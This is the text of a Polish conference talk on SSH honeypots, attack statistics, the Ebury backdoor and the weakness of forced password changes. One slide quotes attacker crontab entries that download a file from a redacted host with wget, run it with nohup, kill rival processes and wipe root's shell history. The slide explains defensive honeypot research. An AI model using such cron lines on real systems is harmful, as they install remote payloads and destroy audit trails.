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Zacznijmy od początku...

Opinie wyrażone tutaj są moimi opiniami.

Niekoniecznie odzwierciedlają opinie:

mojego sąsiada

mojej rodziny

a w szczególności mojego pracodawcy
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Rozproszony garnek miodu
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Znam wszystkie 3 558 720 Twoich haseł SSH!
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Zmienię hasło na ”moment”
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40 momentów na godzinę (90 sekund)

co najmniej 256 ataków na godzinę

ponad 6 prób logowania w „momencie”



Co jeszcze wiemy z honeypotów?

Cała masa IoC i przykładów rzeczywistych ataków!

Ataki słownikowe na Wordpress.

Konta spamowe na forum.

Atakowane usługi i podatności.

Co się dzieje po infekcji – nazwy procesów, wykonywane polecenia,

pobierane pliki.

Honeypot jest dobrym źródłem nowych polityk bezpieczeństwa
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Mam najlepszą konfigurację SSH!
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Zdjęcie Gage Skidmore

Wszyscy do mnie dzwonią i mówią,
że mam najlepszą konfigurację
SSH. Zmieniłem port na losowy,
OK? Nie pozwalam się logować ani
na roota, ani na hasło. Mój klucz
RSA jest bardzo długi. Ogromny!
Zbudowałem ścianę ogniową
i zapłacił za to pracodawca. Nikt
nie przejdzie.
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SSH. Zmieniłem port na losowy,
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RSA jest bardzo długi. Ogromny!
Zbudowałem ścianę ogniową
i zapłacił za to pracodawca. Nikt
nie przejdzie.

Źródło: raport ESET o operacji Windigo



Ebury – zastępca SSH
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Ale wróćmy do honeypotów...
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Najlepszy przyjaciel botów: cron

*/1 * * * * killall -9 .IptabLes

*/1 * * * * cd /var/log > dmesg

*/1 * * * * echo "unset MAILCHECK" >> /etc/profile

*/95 * * * * killall -9 ferwfrre

*/96 * * * * nohup /etc/ferwfrre > /dev/null 2>&1&

*/120 * * * * cd /root;rm -rf dir nohup.out

*/140 * * * * cd /etc; wget http://[xxx]/ferwfrre

*/1 * * * * rm -rf /root/.bash history

*/1 * * * * touch /root/.bash history

*/1 * * * * history -r
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Nowa polityka bezpieczeństwa?
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Źródło: James Mickens, This World of Ours

Czy polityka chroni przed rzeczywistym atakiem?
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Każdy honeypot ma złe strony

$ ssh root@1.1.1.1
Password:

# ping 999.999.999.999
PING 999.999.999.999 (999.999.999.999) 56(84) bytes of data.

64 bytes from 999.999.999.999 (999.999.999.999): icmp_seq=1 ttl=50
time=45.4 ms

64 bytes from 999.999.999.999 (999.999.999.999): icmp_seq=2 ttl=50
time=40.3 ms
...

Łukasz Siewierski (@maldr0id) Mój serwer jest chory! 12 / 19



Nowa polityka bezpieczeństwa?

Łukasz Siewierski (@maldr0id) Mój serwer jest chory! 13 / 19

Źródło: https://xkcd.com/538

Czy polityka chroni przed rzeczywistym atakiem?

Czy i jak atakujący będą ją obchodzić?

Czy i jak użytkownicy będą ją obchodzić?
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Studium przypadku: zmiana haseł
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Studium przypadku: zmiana haseł
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W przypadku gdy do uwierzytelniania użytkowników używa się hasła, jego zmiana
następuje nie rzadziej niż co 30 dni. Hasło składa się co najmniej z 6 znaków.



Minimalna długość hasła
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Źródło: Bruce K. Marshall, How Forced Password Expiration Affects Password Choice

Minimalna długość hasła:

Zulu: 3 znaki Tango: 6 znaków



Częste zmiany hasła
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Źródło: Bruce K. Marshall, How Forced Password Expiration Affects Password Choice

Czas wymuszonej zmiany hasła:

Zulu: nigdy Tango: 30 dni
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Częste zmiany hasła

50% użytkowników tworzy nowe hasło na podstawie starego. Istnieje

algorytm testowany na bazie haseł zmienianych co 90 dni, który:

może uzyskać 41% aktualnych haseł korzystając ze starego hasła

w ciągu 3 sekund.

może uzyskać 17% aktualnych haseł w ciągu 5 prób logowania,

korzystając ze starego hasła.

50% użytkowników zapisuje hasła na kartkach, a jeden z zebranych
komentarzy brzmiał: . . . because I was forced into changing it every month
I had to write it down

Jeśli chcemy mieć bezpieczniejszy system, nie przetwarzajmy
danych osobowych.
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Y. Zhang, F. Monrose et al., The Security of Modern Password Expiration: An Algorithmic Framework and Empirical Analysis
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Koniec!

Pytania? Uwagi? Komentarze?

Dla nieśmiałych introwertyków:

@maldr0id

https://twitter.com/maldr0id


Jakie honeypoty?

T-Pot (gotowe rozwiązanie)

kippo

glastopf

dionea (?)

honeytrap
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